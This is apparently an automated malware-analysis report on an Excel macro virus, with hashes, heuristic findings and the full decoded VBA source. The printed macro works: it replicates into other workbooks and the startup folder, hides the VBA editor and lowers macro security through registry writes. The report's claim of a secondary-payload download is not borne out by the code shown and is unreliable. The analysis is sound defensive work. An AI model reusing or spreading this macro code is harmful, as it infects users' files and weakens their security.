Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 5dc487f8becace03…

MALICIOUS

Office (OLE)

37.5 KB Created: 2003-12-03 15:17:53 Authoring application: Microsoft Excel First seen: 2012-10-10
MD5: cfa41de4f7c9cd1a732c8230d05373be SHA-1: 6b47380f64b910d8632e697fd0a7a0b2bac536a1 SHA-256: 5dc487f8becace035240e3df28e9f395e71340bef2af8afecddd4f4978335eaa
268 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The critical OLE_VBA_SHELL and OLE_VBA_WSCRIPT heuristics indicate the VBA macro uses WScript.Shell to execute commands. The Workbook_Open event is triggered upon opening the document, suggesting an attempt to download and execute a secondary payload. The presence of a ClamAV signature 'Win.Trojan.W-420' on an extracted artifact further supports its malicious nature.

Heuristics 6

  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    If Save_D = True And Save_T = True Then ThisWorkbook.Save
    Set WshShell = CreateObject("WScript.Shell")
    For z = 1 To 2
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    If Save_D = True And Save_T = True Then ThisWorkbook.Save
    Set WshShell = CreateObject("WScript.Shell")
    For z = 1 To 2
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    End Sub
    Private Sub Workbook_Open()
    Workbook_Activate
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 5148 bytes
SHA-256: 95e4a753027258a3ed6511fda504e3656c08880731db8aef26f3fb320c89bbfc
Detection
ClamAV: Win.Trojan.W-420
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ЭтаКнига"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Workbook_New()
On Error Resume Next
If ActiveWorkbook.ReadOnly = True Then Exit Sub
C = ThisWorkbook.VBProject.VBComponents.Item(1).CodeModule.Lines(1, 1)
B = ThisWorkbook.VBProject.VBComponents.Item(1).CodeModule.CountOfLines
iii = Mid(C, 13)
ffl = Len(iii) - 2
khh = Left(iii, ffl)
Number = ThisWorkbook.VBProject.VBComponents(1).CodeModule.ProcCountLines(khh, vbext_pk_Proc)
VV = ThisWorkbook.VBProject.VBComponents.Item(1).CodeModule.Lines(1, Number)
With ThisWorkbook.VBProject.VBComponents.Item(1).CodeModule
.DeleteLines 1, Number
.InsertLines B, VV
End With
End Sub
Private Sub Workbook_Activate()
On Error Resume Next
'VOVAN//SMF
With Application: .EnableCancelKey = 0: .DisplayAlerts = 0: .ScreenUpdating = 0: .CommandBars("Visual Basic").Visible = False: .CommandBars("Macro").Enabled = False: .CommandBars("Window").Controls(3).Enabled = False: .CommandBars("Window").Controls(4).Enabled = False: .CommandBars("Tools").Controls(13).Enabled = False: End With
For vl = 1 To Application.CommandBars("Visual Basic").Controls.Count
Application.CommandBars("Visual Basic").Controls(vl).Enabled = False
Next
For mo = 1 To Application.CommandBars("Macro").Controls.Count
Application.CommandBars("Macro").Controls(mo).Enabled = False
Next
If ThisWorkbook.FullName Like "*:*" = True Then Save_D = True Else Save_D = False
If ThisWorkbook.Saved = True Then Save_T = True Else Save_T = False
If ThisWorkbook.Path = Application.StartupPath Then Application.OnTime Now + TimeValue("00:01:" & Second(Now())), CodeName & ".Workbook_Activate"
If UCase(Dir(Application.StartupPath + "\FreeStyler.")) <> UCase("FREESTYLER") Then
VV = ThisWorkbook.VBProject.VBComponents.Item(1).CodeModule.Lines(1, ThisWorkbook.VBProject.VBComponents.Item(1).CodeModule.CountOfLines)
Workbooks.Add
With ActiveWorkbook.VBProject.VBComponents.Item(1).CodeModule
.DeleteLines 1, .CountOfLines: .AddFromString VV: End With
ActiveWorkbook.SaveAs Filename:=Application.StartupPath & "\FreeStyler."
ActiveWindow.Visible = False
Workbooks("FREESTYLER.").SaveAs Filename:=Application.StartupPath & "\FreeStyler."
Workbooks("FREESTYLER.").Close
End If
For N = 1 To Workbooks.Count
VV = ThisWorkbook.VBProject.VBComponents.Item(1).CodeModule.Lines(1, ThisWorkbook.VBProject.VBComponents.Item(1).CodeModule.CountOfLines)
For Each TW In Workbooks.Item(N).VBProject.VBComponents
If TW.CodeModule.Find("FreeStyler", 1, 1, 75, 75) Then FreeStyler = True
Next TW
If FreeStyler = False Then
If Workbooks.Item(N).Saved = False Then Save_ = False Else Save_ = True
Workbook_New
With Workbooks.Item(N).VBProject.VBComponents.Item(1).CodeModule
.DeleteLines 1, .CountOfLines: .AddFromString VV: End With
If Save_ = True Then
If Workbooks.Item(N).FullName Like "*:*" = True Then
System.Cursor = wdCursorNormal
Workbooks.Item(N).SaveAs Filename:=Workbooks.Item(N).FullName
Else
Workbooks.Item(N).Saved = True
End If
End If
End If
FreeStyler = False
Next N
If ThisWorkbook.Path = Application.StartupPath Then Workbook_New
If Save_D = False And Save_T = True Then ThisWorkbook.Saved = True
If Save_D = True And Save_T = True Then ThisWorkbook.Save
Set WshShell = CreateObject("WScript.Shell")
For z = 1 To 2
If z = 1 Then nf = "Office" Else nf = "6.0\Common"
WshShell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\VBA\" & nf & "\CodeBackColors", "1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1"
WshShell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\VBA\" & nf & "\CodeForeColors", "1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1"
WshShell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\VBA\" & nf & "\EndProcLine", 0, "REG_DWORD"
Next
WshShell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Office\8.0\Excel\Microsoft Excel\Options6", 0, "REG_DWORD"
WshShell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Excel\Security\Level", 1, "REG_DWORD"
End Sub
Private Sub Workbook_Open()
Workbook_Activate
End Sub

Attribute VB_Name = "Лист1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Лист2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Лист3"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True